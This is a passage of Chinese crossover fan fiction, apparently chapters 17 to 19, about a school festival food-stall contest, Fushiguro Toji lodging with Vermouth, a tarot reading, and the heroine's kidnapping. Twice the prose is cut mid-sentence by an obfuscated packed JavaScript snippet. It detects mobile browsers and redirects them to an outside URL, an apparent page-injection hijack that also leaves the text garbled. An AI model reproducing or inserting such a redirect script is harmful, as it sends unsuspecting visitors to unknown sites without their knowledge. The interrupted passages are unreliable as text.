“小莳,这不是什么值得骄傲的事。” “喔,我最近已经尝试独立生活了。现在我已经会用阳台上的洗衣机了。这是阶段性胜利。”比了个耶。 “……啊对对对。”园子说完这话转头和理子解释,“我以前不是这样的,但和小莳在一起到时间就会自动解锁吐槽役,理子你可不能学我,你可是未来日本第一idol!太擅长吐槽一定会掉粉。” 现行的潮流仍然是元气治愈系,事业的成功离不开国民性。 “诶诶诶,第一什么的!感觉做不到那么厉害。” * 大概因为生活美满,加上家政公司派来的服务人员也很敬业,有时候还会帮小莳做点饭再走,这几天里她都没怎么为伏黑甚尔的离开忧心,虽然不知道他在哪,暂且也祝福在远方一切都好。 可伏黑甚尔并不在远方,就在米花町。看来不管在哪个世界他都挺会找下家的,他在夜深人静时这样自嘲。那天打开了电视,那个电视里曝光了在场所有同事工资的主角,她的演员克丽丝·温亚德,现在就在米花。她是说自己因为一些演艺活动回到东京,住在主办方安排的别墅里,可是伏黑甚尔看来,她身份不止演员那么简单。再多就不管了,有吃的有住的,少操心。 克丽丝·温亚德,贝尔摩得,也是第一眼在琴的车上,就看见了伏黑甚尔。 “对那个人男人感兴趣?” 她轻笑说:“可能吧。” 身份多变的贝尔摩得自有一番识人技巧,一打眼她便觉得伏黑甚尔是个有趣的男人。在琴“你不要忘了正事”的警告中,在伏特加墨镜都挡不住的八卦眼神中,她还是把伏黑甚尔带回了家--对方非常自然地跟她走了。 琴酒的眼里只有抓叛徒,是无聊的男人,真遗憾她到褪去对他的荷尔蒙骚动后才认识到赤裸裸的本质。原本可以少点单相思情节,说出去她都觉得丢人。 她有点兴趣地和伏黑甚尔相处了一两天,结果是个除了做家务什么也不做的摆设。作为一个经常被认为是没有办法猜透的性感魔女的神秘主义者,遇到不解风情的男人不免有点挫败。但也只能怪自己乍一下又看走了眼。而且他确实挺省心,就算在情感方面看错了,贝尔摩得有自信关于男人实力方面她把握准确--身份成迷,但说不定来日能做同事。 组织里处处都是保密事项,大家的身份都成迷,所以捉鬼游戏才难以落实追究。 就这样让伏黑甚尔留了下来。 几天过去,贝尔摩得对伏黑甚尔的家政能力相当满意,甚至啧啧称奇。惊叹“日本这么男本位的国家也会有伏黑君这样的男人。”英俊潇洒的男人固然可爱,可被照顾的感觉实在难以抗拒,贝尔摩得认为,自己将来有必要拓宽一下对阶段性伴侣的选择范围。 他说:“因为有一位大小姐要求挑剔,很会磨人。” “情绪起伏很明显,很喜欢那位大小姐吗?”其实根本不明显,是贝尔摩得太敏锐。 伏黑甚尔嗯一声,随即一言不发给她留了个背影。 了然,心里有人的男人。挂念心上人的时候,容纳不了别人,不是她的魅力问题。 伏黑甚尔被勾起来愤怒和失落,贝尔摩得却是开心了。 * 学园祭前一天,江户川柯南发消息给小莳,邀她几天后面谈,灰原哀也一起。 她欣然接受。多半是两个假药受害人谈妥了,准备找她帮忙。 学园祭那天早上,小莳五点就从床上爬起来梳妆打扮,七点前就到了学校。 结果发现副社长和几个社员已经在活动室做准备了。 “今天,我们一定会胜利!” “好耶!” “好耶!” “好耶!” “小莳,不要乱带头。” 她耸耸肩,帮忙搬食材了。 “那是男生才搬得动——”超大铁盘,上面放置着刚刚撒上腌料的鸡块,统共有几十公斤重。 “这话有点性别歧视在里头了。我的身体还是很不错的。”将工作台上的盘子放到推车底层,上面铺上保鲜膜和一层冰袋,小莳一边做事一边说。 “……”不是,谁能想到一米六的娇滴滴大小姐这么有劲啊。 “再说了,我不擅长实践料理,之前就计划做后勤工作,现在轮到我承担责任了,当然不会推诿。”小莳又搬了几桶果酱上推车,“到了这种重要时候,我自然是要全力撑持大家,好让你们没有后顾之忧的。” 难得遇到一个想让她鞠躬道歉的坏蛋,她当然要全力以赴消耗一下无处安放的胜负心。 两句话,让在场社员感动稀里哗啦,社员甲一边激动一边把鸡蛋放在板上,社员乙一边抹眼泪一边带着手套翻拌刚蒸好的米饭,这一步是为了让水蒸气快快散去,让米饭变得干一些,使炒饭口感更佳颗粒分明。副社长切菜的手都出残影了,只见本来一颗一颗的菜变成一块一块,再变成一粒一粒,最后被整齐的码放在盆中。 随后来到社团的是社长和理子,社长来后便开始完成当初自己分工的工作,制作薯条,长条土豆昨天已经买了一大袋,60公斤,做成薯条大约是200份,剩下的用于制作套餐中的薯格。 虽然量很多,但是大概率也就这一次。由于众社员的极力劝阻,园子放弃了购买专业切土豆机器的打算。 这60公斤都要用刀手工切。 所幸大家商量好的目标就是不切皮不追求长方体的大块薯条,昨天土豆也都已经清洗干净--用园子租赁的专业超声波洗菜洗肉机器。 “食品安全可是很重要的,而且机器比一个一个手洗更节约用水。” 又是在众人的劝说下,园子放弃了购买,但是委托管家让附近铃木家的餐厅送了些设备过来,学园祭后再拿回去。说是租赁,其实是领导一句话,职工跑断腿() 小莳也参与到准备土豆的工作中去,只要不涉及专业活计,哪里需要她就上哪里。 薯条是她很喜欢的美食,一开始为了让奈亚能做出美味薯条,小莳也学习了各式各样的知识,比如土豆要选择朴实无华的长条土豆,炸出来外焦里糯,好吃,比如土豆切开后多酚氧化酶暴露在空气中,会氧化变色,所以要水煮90秒,让这种蛋白质变性,保持黄黄的令人有食欲的颜色。 天内理子负责在锅前面看着,时间到就把土豆捞起来控水,小莳先是用专门的切菜板切薯格,套餐预计是100份,一共需要500片薯格,保险起见再多切了三四个土豆,卖不掉的可以进自己肚子。 手起刀落,非常迅速 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413085|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的吧每片薯格切成了厚度均匀花纹呈90度的完美形状。 毕竟以前做的事情和切菜也算是相关行业,处理起来得心应手。 结束后,她端着大盆走到理子的高桶汤锅那,在对方瞠目结舌“学姐这很重吧”时拍拍她的背,示意好好干。然后在她旁边站定开始用厨房纸擦煮好的土豆。 最后裹玉米淀粉的事情还是交给专业的副社长吧,他可是料理室主厨。 两小时的准备,从头至尾没有闲着的时候。 九点,一般是校长先在演讲台上发表诸如“我们学校是最棒的”言论十几分钟,学员代表再讲个话,欢迎来宾,表扬一下同学们付出的种种努力等等,料理社全员不约而同翘掉了这一环节。 包括超级乖宝宝天内理子。 等散会结束,毛利兰和铃木园子跟着小莳给的地点来到摊前时,发现竟然已经有人在排队了,连忙上前准备帮忙。 园子走近一看为首是赤司征十郎……好狡猾的小莳,一下子让七个风格迥异的大帅哥做托!不愧是她。 小兰不认识他们,还悄悄和园子说,“已经有人在排队了,还都是帅哥美女,感觉是不错的开头。” 园子悲伤的发现,不明情况的人是会这样认为,说不定还会觉得是味道好才一下吸引很多人,果然,陆陆续续的有游客和本校学生向这里聚拢了。 “……小莳,这也在你的计划之中吗?”园子幽幽问,得到小莳咧嘴一笑。 可怕的女人。 小兰听说了这几位原来是小莳的哥哥和社员:“兄长?是浅蓝色头发的那位吗?” 不出意外的认成了哲也。 “小兰,想想,我的名字是…” “哦!竟然是赤色头发的那位。” 园子有点尴尬,不好意思和小莳一起去打招呼,但是三个人本来就一起行动,却也不得不去。她站在最后面。 “征十郎!好久不见力。”小莳热情的和他拥抱。 得到一句无奈的“不是上周才去过东大吗?” “上周的事情,我已经全忘了!如果有条件的话能天天见我也是愿意的。”小莳吐吐舌头,拉哥哥好感这种事于她和呼吸一样简单:“但是聊天的话不要说太多,征十郎现在还请装作不认识我们,单纯是被食物的香气吸引过来比较好。” “……”好重的事业心。 关于香气,幸平创真也是很有心得研究。小吃摊这样的地方,露天,香味能飘出很远,而炸锅油温又很高,一下就能激发出食品和香料的气味。如果说吆喝声和长队是最直观的吸引客流方式,气味则是勾起食欲,引发期待的催化剂。 在田所惠的建议下,料理社的人准备了红葱,在开摊时令起一个小锅现炸油葱酥。这其中也有讲究:一是经过高温,红葱中大蒜辣素和甲基丙基二硫醚可以转化为香气和甜味,鲜炸的那股浓香很吸引人,二是红葱原产伊朗,现在是多种料理中重要的香料,在炸好的薯条中撒一把可以大大提升薯条的香气-所有的酱料,都不及微咸的油葱酥,而炒饭里的鸡蛋也可以用红葱油煎……总之用处多多。 料理,大差不差的对待它,它便也会呈现不难吃也不惊人的味道,然而有专精此道的人日复一日的尝试做出微小的改变,只为了菜肴的口味能更上一层楼,它便也给予那些努力大抵相应的成果。 再上面的事情就是顶尖天才该考虑的了,小莳和料理社大部分人在此只是想通过一点小小的巧思,打赢这一战。也许远月学园的毕业生课程里还有门化学。 ……说到天才,小莳曾经也是个天才。她有着奇谲瑰丽天马行空的想象、永燃不尽的火炎、还有与生俱来对自己思想的感知和控制力,这都是卓越的术士需要具备的条件。菜肴是厨师的作品,幻术的造物是术士的作品,在造物主竭尽心力构建它时,它也检验着、诘问着术士。她以前也是个经得住检验和诘问的战士、没有辜负过天赋的术士、意气风发受人景仰的天才。现在大概只能做一做畅销书写手,或者成功学传销大师了。 所以说好汉不提当年勇,一想就难过,感觉还不如普通的做个大小姐。不要太努力,要留有余地,不然别人就知道是真的没有真本事了。 小吃摊非常成功,在11点,准备的食材已经全部贩售完毕,社长直呼后悔,还有一小时比赛时间,早知如此该准备更多食材,让营业额往上窜。 副社长却推了推眼镜,“我准备了几个蛋糕。已经拜托天内同学和铃木同学去切和包装了。” 随即他解释,有些游客早上来了中午就回去,比起小食,蛋糕可以保存更长时间,回家享用。 而且,甜品社的人承包咖啡厅,挑衅要在咖啡厅上小吃--虽然咖啡店本来就有小吃,但是他们先不讲原则的,这种时候他作为同样擅长甜品的人,如果不反击回去就太客气了。 “请问,”社长举手,“那么如果我们小吃摊东西没有提前卖完呢?” “那我就再带回家自己吃掉。” ……副社长足足做了十个10寸蛋糕,切角就切了几十片,肉眼可见的放手一搏。 最后蛋糕也全部卖完,唯一让人遗憾的是田所惠早上有课,不能来看小吃摊,不过她承诺了下午来观看学生准备的节目;幸平创真的东京暂留在几日前就结束,他去了法国,没来参加帝丹学园祭。 他们两的招待券小莳已经早早投进了票箱,原本多出的那一张没想好要不要送给甚尔君的票也是同一归宿。 清点出来842份招待券。 对比一下,隔壁占卜的展位到现在只有几十个人进去过,门头给人一种不是很神秘但是很阴暗像鬼屋的感觉,挂着一些女巫的瓶瓶罐罐,还有不知道出处是哪里的六芒星法阵,比起占卜更像是要阴暗扭曲的爬行。只是外行人的自嗨。不过也对,如果在这个世界里,魔法这门课程也有内行,事情就太糟糕了。 再隔壁的卖章鱼烧的十点多就打烊--因为摊主闲着没事自己吃了一个然后被噎到了,后来海姆立克法成功,但是被烫到了喉咙起了泡,被伙伴紧急送往医院。脆皮高中生。 黑子哲也发消息传来战报,甜品社咖啡厅营业良好,但是没有爆满的样子。哲也在门口站了20分钟,中间大概每几分钟会进一批客人,略加估算,整体营业额应该不超过1000。 小吃摊营业额842,基本锁定了胜局。 等一切正事全部完成,收拾残局的时候小莳就悄悄溜走了,既然人手足够,结果不错,打杂的事情,她才不做。 和征十郎汇合~ “伏黑怎么没来?” 小莳在哥哥面前能不说谎就不说,“因为他没有被邀请。” 赤司征十郎看了她一眼,眼神让她小紧张,问:“你和他还好吗?” “应该挺好的吧,但我也说不准。”回答的模棱两可。首先,小莳本人很不错,第二,伏黑甚尔本人也生命力顽强并且能力优秀,估计也差不了。但是此时他们已经失联,所以话不能说太满,改成说不准。 “……”感觉很怪,又感觉没有,最后他说:“与伏黑这类人相处小莳应该比我更懂,就按照你的心意做吧,我不干涉。” 然后他再次提醒小莳,伏黑不仅是个流连花丛的浪子,还有个一招就把他秒杀的死敌,就算小莳不放在心上,也一定要注意规避风险。 “大敌是另一个世界的事情,一般而言已故的人不会引起什么仇恨。只要甚尔不来把我干掉,我们就会一切都好,他还挺强的,以这里来说,打十个世界拳击冠军肯定不成问题。” “……”这个当时就看出来了。而自己的妹妹,虽然有着更强更恐怖的气势,却犹如囿于囚笼的鸟雀,无法展翅高飞,做哥哥的不免总担心她:“小莳,现在还会想回去吗?” “那肯定是想的,”她很坦诚的承认,“不过这里也有很美好的地方,比如征十郎和哲也,还有惠宝,都是我很喜欢的人。啊,还有甚尔君。加上【回去】这个概念犹如天方夜谭,比起展望触不可及的旧日荣光,还是先把眼下的日子过好。我以前就没什么时间生活,总是在奔波,现在想想那个时候的日子,对比一下简直像退休。某种程度上来说很愉快,而且征十郎给了我很多钱,根本花不完。” “小莳对我来说是重要的亲人,我希望你幸福。” 她对他点头:“征十郎的发言,我差点以为这是结婚现场了。” “……” “放心放心,两个世界于我就好比薯条和煎豆腐。虽然我更喜欢薯条,但是煎豆腐也是很好的食物,如果今天剩下的是煎豆腐我也能吃的,并且不会因此怨恨薯条。但是如果剩下的食物两种都有,那我一定会努力争取薯条。我在这里有征十郎,有朋友,也有钱,是你们让本来我没什么兴趣的煎豆腐变得有趣起来。” 他的妹妹有点怪,赤司征十郎说:“你总是能说出一些让人丧失原本注意力的话。” “哥,话说,你声音,好像,我上次在咖啡店见到的一个人。”赤司征十郎的吐槽语调不同于他平时说话的慢条斯理,一下就让小莳想起了半个多月前的粉毛咖啡单推人“我们家还有流落在外的小孩吗?” 赤司征十郎:“说了一万遍没有了。” 18. 第 18 章 当天下午由于知名不具的某人在场,话剧并没有很顺利的出演。 发生了命案。 小莳也一眼发现,坐在观众席上的这个江户川柯南,不是本人。 再看两眼,接着和他对视了一眼,恍然大悟,原来是灰原哀代练上号。 那么骑士盔甲里的其实是……灰原哀是很聪明的博士,她和小莳对上了脑电波,轻轻点了点头。 虽然不知道原理,但既然他自己变回去了,现场只需要工藤新一一个人就够了,话剧中止,小莳自然也就不多呆,拉着田所惠出门。 却碰见黄濑君和他的姐姐,小莳没见过人,但是看她揪着黄濑让他不许再吃了周末一定会浮肿影响上镜的时候……完全能猜出来。 又听见黄濑君喊她阳菜,联系到黄濑的姐姐是他的经纪人,理子的经纪人叫阳菜,理子又邀请了她来参加学园祭,基本推定是一个人。 “小莳酱,救救我!”黄濑凉太眼尖地看见小莳,就扑上来求救,“阳菜好可怕,你带我走吧。” “感觉,黄濑君确实变胖了。”她坏心眼的添一把火,诶嘿。 “什么!我不是我没有别乱讲。” 黄濑阳菜狞笑着把黄濑凉太揪走,小莳和对方的姐姐兼经纪人打了招呼,目送他们远去。 遇到理子的时候,对方很困惑的说和经纪人姐姐走丢了,但是刚刚明明约在这里见面。 小莳顺便收留了一下找不到家长的后辈。 三个人去吃下午茶。 “秘诀就是,坚定、目不斜视的走出校园大门。”小莳向理子传授出门不被门卫拦下的经验。可惜今天不凑巧,门卫女士拦下了小莳,告诉她上学期间无故不得出校门。 “抱歉,姐姐,我们是在会场里摆摊的二年b班,今天游客太多了,饮料没有备齐,负责老师临时让我们出去商业街买的,我们一定快去快回。” “好的,那你们走吧。” 放行。 一直都是好学生·天内理子被小莳这临场反应惊掉下巴。 田所惠:小莳……好厉害! 享用了美好的下午茶。 小莳先前说好的给班级同学购买的杯户酒店下午茶也如期送到。小莳给毛利兰打了电话请她和园子帮忙代为发放,自己现在在校外不方便回去。 确实是不方便回去的,吃完下午茶直接回家看电视了,回去参加活动搞不好得6点才散。 太晚了,不行。 贝尔摩得今天心情不甚美丽,雪莉的踪迹毫无消息,本来应该按时做饭的煮饭公伏黑甚尔到五点还没回别墅。 她的身体很娇贵,晚饭不能吃太晚。美艳女演员和冷酷无情的鲨手毕竟也是人类,吃了饭,就会变重。 6点,倒了一杯红酒在看自己参演的电视剧的贝尔摩得终于等到了伏黑甚尔,他回来时手上只端着一份茶点。 “菜呢?”没有想吃的意思,但是还是想问。 “今天没买。” “我们两就吃这个?”太晚了,没有想吃的意思,但是贝尔摩得还问。 “不,我们今天点外卖。” “……”不是吧,连个茶点都不肯分--虽然她其实根本不打算吃,他前两天去竞马场的开销全是她付的! 说到这就不得不说感慨一下这个倒霉蛋逢赌必输的运气。一个小时一张赢的都没有,因为不信邪,下一场12匹马她让伏黑甚尔买了11匹独赢。 没买的那匹赢了,赔率还很高,大爆冷。 半天,50万,全没了。虽然不是什么大钱,她演员的账户里多的是花不完的金额。 “但这属于因果律武器了。”她回去的路上这样评价,和她一起坐后座的男人臭着脸不回答。 回到现在。 这茶点应该有点来头。 “你今天去了哪里?杯户酒店?” “不是。” “你手里的这款茶点是杯户下午茶特色。” “哦。” 臭脾气,看他这样,她也懒得再探究。 “你想吃什么?我让经纪人点了送过来。”这别墅虽名义上是主办方准备的,实际上却是组织的安全屋,不会让外卖直接送上门。 “薯条吧。” 贝尔摩得:羡慕一切吃垃圾食品但不长胖的。 伏黑甚尔的身材相当优越,比起琴……虽然她本人其实心中有所偏好,但是琴被秒杀。伏特加,哎,感觉他就是虚胖,也不知道为什么长成了憨憨的样子,不戴墨镜时就像个普通的中年钓鱼佬,戴了像出租车司机。 伏黑甚尔进组织提高一下颜值水平也不错。 “伏黑,这段时间过后要不要和我回美国?从我的保镖开始干起,然后我把你引荐给一个人……之后说不定就是同事了。” 伏黑甚尔看了她一眼,没有应答,贝尔摩得也不指望一次就说动他,“除了演员外,我的兼职也有些事处理,明晚之后我大概还会在米花町小住几天。你若是有兴趣,随时找我。”端着酒杯走进,暗示性摸平他衬衫边缘-因为男人平时的衣服实在上不得台面,贝尔摩得阔绰的帮他定制了几套西装,正好活动酒会上也可以穿。没想到他今天就穿上了。 宽肩窄腰,确实好看,可惜心有所属,她对心有所属的男人没有挑战的兴趣,如果挑战成功会显得爱情这一命题很廉价。她活得有些久了,偶尔也需要一点光明的面向调剂生活。 说到大小姐,她查过资料,曾经救国她的angle毛利兰,有个朋友就是三大财团之一的铃木家长女。贝尔摩得自己虽是黑暗中行走的人,不便接近明亮处的纯洁女高,但来到米花町这一阵子,却也有意无意和angle错肩几次。 当然,高贵冷艳的魔女必不可能做出影圈脑残粉那样跟踪尾随的行径,她对自己宣称一切都是巧合偶遇。 Angle和铃木家的小姐一向交好,只是最近似乎又多出两位伙伴。一位是近期日本境内比较流行的元气女艺人,似乎是叫REIKO,还是RIKO的,恰好是二人的学妹。另一位则是不在场但是在话题中心的KOMAKI,写成汉字应该是小莳,聊天内容基本都是关于学园祭料理社规划的,还有小莳家里是不是出了什么事情,怎么总是请假。 贝尔摩得给这位KOMAKI的初印象是似乎身体不太好,和angle挺喜欢她的。 铃木园子……她看上去是平易近人的,应该和伏黑甚尔口中的挑剔大小姐没关系。再一想,世上哪有这么巧的事情,光是东京这地方,社长会长无数,顶尖集团下也有众多规模中上的财阀,太多了。 -- 伏黑甚尔这一天原本是打算在温泉浴场看电视吃饭,然后到四点钟在商业街随便买点东西,到别墅随便做做应付克丽丝·温亚德。 结果起床以后,去了帝丹高中。 门卫自然拦不住他这个无招待券社会人士--他攀爬围墙进去的。 在小莳的校园里漫无目的的晃悠,看到了料理社的对手,咖啡厅。在门口不知道为什么撞到了一个人,他不应该没看到那个少年,可实际上,等他反应过来的时候,那人已经倒在路边,还撞倒了甜品店的立牌。 本来伏黑甚尔猜测小莳会在咖啡厅对面直接中门对狙,但在附近没看见小吃摊,并且甜品店里有人出来看情况了。他懒于和人说话,看了被撞倒在地的浅蓝近白发蓝色眼睛的学生,很快离开。 等咖啡厅里的社员出来时,现场已经没有他的踪影。 黑子哲也:……好强壮的人 伏黑甚尔和高中生朝气蓬勃的氛围隔绝开来在喧闹中,他以为自己不如去浴场看电视,喝酸奶吃盖饭。但他也没走。 后来,在学校靠近正门的干道上,看见了道路两边的一排小摊,其中就包含属于料理社的小吃摊。 规格来说,确实是比咖啡店差远了,也难怪小莳先前回家会抱怨此事,关于……手续的不正经,还有一些对对方社员的言语攻击。今日一看,小吃摊生意十分火爆。 好到其他人都在帮忙,来帮忙的铃木园子劝说后面排队的人不要再排,早上准备的东西有限,已经快全部用光,到时可能货品不全。 伏黑甚尔一眼就看见了偷偷盯着手机看的小莳,就算不考虑他的私心,众多忙忙碌碌的身影里偷闲的她也是比较引人注目的一个。 “好消息,咖啡厅生意尚可,不如我们好!” 会光明正大的替对手的失败感到高兴的,小莳是伏黑甚尔见过最明目张胆的一个。其他人多少有点矫饰情态,是诚实的女孩。 这几天,伏黑甚尔并没有刻意去想,只是闲暇时刻,总能听见水滴咚咚的声音,像心跳又像处刑的倒计时,还有那句倒计时尽的“甚尔君,你对我来说不够好。” 哦。 算了。 伏黑甚尔这么想着,迈腿却踏进了隔壁的帐篷。 他第一眼看到时这样评价,不知所云的招牌,意义不明的装饰物,门可罗雀的生意。 话虽如此他还是接受了塔罗社人员的邀请,即使他没有招待券。 “很多人来这里会占卜恋爱,这位先生要来快占一下吗?” 其实没有兴趣。 但他点了点头。 伏黑甚尔对塔罗牌是没有了解的,但不妨碍他听见围在卜者周围的社员的吸气声,他们小声念叨着牌:“恋人、命运之轮,两张大牌!好兆头。” “还有宝剑四诶,虽然是小牌,但是侍卫入睡时身上悬着的三把宝剑,预示有危险,但没降临。” “等兵士苏醒就可以整戈待战了吧。另一张宝剑皇后也是好牌。” “停停停,听社长怎么解吧,难得来个大帅哥我想听帅哥恋爱分析。” “……” 伏黑甚尔并不着急,此时他在偷听隔壁小吃摊的动静,昏暗又让人一看就不想接近的巫术帐篷,反而成了最好的遮蔽。 小吃贩售完毕后,还有蛋糕,料理社在最近还新进了人,和小莳关系很是不错,知道她喜欢吃重芝士蛋糕,特地分出两块匀给小莳。 “可是给我的话就不能拿招待券,好女人要以事业为主,全卖了!” “……” 小插曲过后,就没再听见小莳的声音,全是其余社员在说话。内容无关紧要。 “这位先生,您正在或前段时间正处于一段暧昧关系中。” “嗯。”伏黑甚尔没什么感觉,这种话是个人都会说。 被社员尊重信服的社长的眼睛直勾勾对上伏黑甚尔的:“您应该是对那位女士有很深好感的,比起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413086|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她喜欢您的程度,你要更喜欢她。您想追求她。” “你们之间存在一种,”社长认真的思考解牌,她的手指轻轻点在10号命运之轮上,“命定的邂逅,你们两个都认为彼此是有缘分的。这张牌代表着超出人力控制的,宿命。在感情里是很好的征兆。” 她抽出恋人牌,展示给心不在焉的伏黑甚尔,向他解释:“对方也对您抱有好感。你们之间的交往,整体来说比较顺遂。恋人牌代表的是人际关系间吸引力强,沟通交往顺利,包括但不特指爱情。这位女士对您这个人的整体评价是偏高的。” 伏黑甚尔:你说得对,但是“你对我来说不够好。”他有点无聊,想离开了。 这就像是算命的人总说“你以后一定会发大财”一样的吉利话,听起来没什么意思。 “但是。” “宝剑四和宝剑皇后这两张牌,揭示了也许是更深层的矛盾。” 如果不是高中生,下一秒应该就会推荐产品了,这是常见的套路。 “宝剑四的牌面是一位士兵在睡觉,上空悬着三把利剑,其身下的棺中也有一把剑。依我之见,这寓意着自我放逐,休憩和逃避,还有未察觉的不利因素。所以我判断那位女士很可能会拒绝您的告白。” “……” “您,可能过去收到过一些创伤,遭遇过一些,孤独感。所以像这个侍卫一样,将武器藏在了棺中,自己也采取了一定的消极做法,从而导致了睡眠中无知无觉,和一些隐患的接近。” “……” 社长的面相在伏黑甚尔看来变得邪门,而她自己无法察觉的嘴巴里继续蹦出歹毒的字眼:“而那位女士,她有一些特质,或许是精准的分析能力,敏锐的洞察力,独特的思维能力。她是一个与他人有一定距离,边界的旁观者。宝剑皇后,在自己选择的道路上心无旁骛的向前走,所以她会不会觉得您和她…那个,不是一路人呢?” 伏黑甚尔觉得这个占卜社团很不靠谱,简直是一派胡言。他不说话。 几个社员的窃窃私语听的一清二楚。 “社长你看你把人家说生气了都。” “社长也没办法啊,牌就是这么个牌。” “说点好听的嘛,我们生意超差。” “我看错他了,帅哥这么小心眼吗,我们这叫实事求是。” 被指出不够高情商的社长又把牌对着自己,看了又看,最后说:“这位先生,那位女士好像是优秀的人,我看您也是仪表堂堂,风度不凡,只不过也许因为尚未解开的问题停滞不前。如果您想争取一下这段感情,不妨从梦中醒来,清理自我,带上佩剑,追逐皇后的步伐。虽然有研究说塔罗是一派胡言,但我仍然坚持认为,牌面是不会骗人的,这是命运敲定的结果。在我看来,那位女性的原则很明确,对于重视的问题,就像学校花坛里的灌木……稍有参差,就要用剪刀将它修剪整齐。对于草木而言,越过了,就会被利剑斩断。” 线……伏黑甚尔听过关于线的比喻。但不妨碍他觉得这个社团有问题。 他一点也不相信。一点也不。 伏黑甚尔离开了这个装神弄鬼的摊位。 “感觉他恼羞成怒了社长。” “也不是不能理解,皇后比侍从高级多了,社长又说‘追逐皇后的步伐’,他可能不情愿被女人牵着鼻子走。” “你想的也太远了吧,不过确实,感觉好多男生大男子主义极其严重!鄙视他们。” “社长你说句话啊!” 社长将桌上的牌再拢齐放到盒子里:“宝剑皇后是正义感很强的牌,并非是公序良俗的正义,是皇后心中自有一杆秤,只有得到认可的才会被接纳到麾下。” “人都出去了社长,你说这些他也听不见。” “我感觉社长又拆散了一对。麾下不是打工的意思,社长你还记得这是恋爱快占吗?” “不能这么讲,社长刚刚分析的明明是,告白一定会失败,注定的失败怎么能算我们社长拆散?” “所以才没有人敢来占卜呜呜呜!!!” 伏黑甚尔出去时,已经看不见小莳。几分钟前她就用熟悉的腔调“哥哥有事找我,我去看一下是怎么个事。”和大家告别,他判断应该是想逃避收摊整理。 然后他不凑巧又看见了小莳,不凑巧听见了她和兄长的对话。 下午也这样待在帝丹学园,没再见到小莳。 但是不凑巧的被铃木园子叫住,和她随便聊了两句。 说是随便聊了两句,实际上。 “助理先生,我们家小莳……你作为助理……” 伏黑甚尔沉默。 “园子,这位是伏黑先生吗?” “你怎么在这,你老公没看住你吗?新一去哪里了,案子刚刚破,你们应该去约会。” 再回头,伏黑甚尔已经不见了。根据班委登记情况来看,还拿了一份茶点走。 吃吧吃吧,谁有他能吃呢,小莳去哪里了,也没看见理子。学园祭女王叹息,真是为朋友们操碎了心。 在外面游荡了一个下午才回到近期栖身的公寓,伏黑甚尔并没有把贝尔摩得的邀约放在心上,他想得很简单,又不会说英语,去美国干嘛。不如把那个女演员的离开时间当成ddl,简化成找下家。 19. 第 19 章 小莳周六在家瘫了一天,周日在家瘫了一天,周一放学后要去和柯南和灰原哀见面。 她没去。 不是因为故意鸽了,而是因为被绑架。 考虑到这里是米花町,怎么说呢,知道此地民风彪悍,却不曾想有一天自己也能被遭遇这些【突发事件】,早知道就多问问园子和小兰关于这些事情的具体细节了,好歹有个样本参照。 她独身离开学校,还没走到商业街,就在一个路口还有几个等绿灯的人的斑马线上被掳走了。 先是感受到一阵拉力,人仰马翻,再睁眼的时候头已经被套上了麻袋。 她的手被摁住,脖子被禁锢,背部被人用膝盖顶着,强迫她伏倒,硌得疼。 这个时候作为一个被突然掳走的高中生,不说话不正常,小莳暂时不打算挣扎,身上被禁锢着,明显不止一个人,还有个司机,至少三人。他们是有备而来。 她有意让声音柔和无力:“你们是谁?” “赤司小姐,我们是三个流落在东京的鬼魂,百闻不如一见。” 这是有毛病的讲话方式,大概没上过什么学,平时又没人愿意听这家伙说话,他想买弄。 身后的人用粗粝的绳子绑住小莳的两个手腕,大概是最普通的麻绳,不容易断的那种,隔着罩子扯着她珍重的头发,迫使她起来,“和您无冤无仇,但要怪,就怪你那活得太长的父亲吧!” 她打理头发的时候比这温柔许多。 糟糕,这不是普通的绑架,这是寻仇来了。 小莳发现事情并不简单,可人为刀俎我为鱼肉,不该表现的太聪明:“爸爸?爸爸怎么了?” “次郎,你温柔一点,到那边我们要让她联系赤司征臣呢。女孩子一紧张,哭哭啼啼的话,话都说不清楚。” 她只是一个流落在外多年的女儿,要抓抓唯一的继承人也好过她。没本事去东大就来米花了吗?那一下揪头发确实让小莳疼得龇牙咧嘴,幸好脸上被套上了没人看得见。 现在也不是想这个的时候。 但也由不得她再多想,她的脖颈被顶上了凉凉的东西,下一秒,剧烈的疼痛致使休克。 是□□。 小莳只感觉到自己的血管都要被烫坏了,先是一阵灼热的麻痹感,然后是宛如血液像电流一样被撺掇奔赴四肢百骸的疼痛--她甚至感受到了血管的扩张。 天杀的,这些歹徒电脖子是真想害命啊!! 但凡人之躯遭不住这些,小莳只是颤抖了一下,便像具尸体倒下了。 “一郎,你放腰上就好了!!!”第二位歹徒这下是真担心早出生几分钟的大哥把人一下电死,赶紧抓着人质的手探脉搏。 “就这样死掉也没关系,而且,看你的表情,还活着吧。” 确认死活以后,就没有人在意她了。 再次醒来,是在后备箱。小莳的手脚俱被捆绑,嘴巴上也被贴了胶带。胶带是便宜胶带,有刺鼻的化工品味,她能想象这胶带撕开皮肤后还许多残胶,头套也是劣质头套,有发霉和泥土的馊味。 绑匪有三人,一郎次郎三郎。 听他们的对话,恨极了赤司征臣,又从社会新闻上听说赤司家小姐离开京都,只身前往米花,因此循人而来。在学校附近蹲点了一周,什么都摸清了。 鬼魂,是流离失所,失去一切的意思。听起来是深仇大恨。 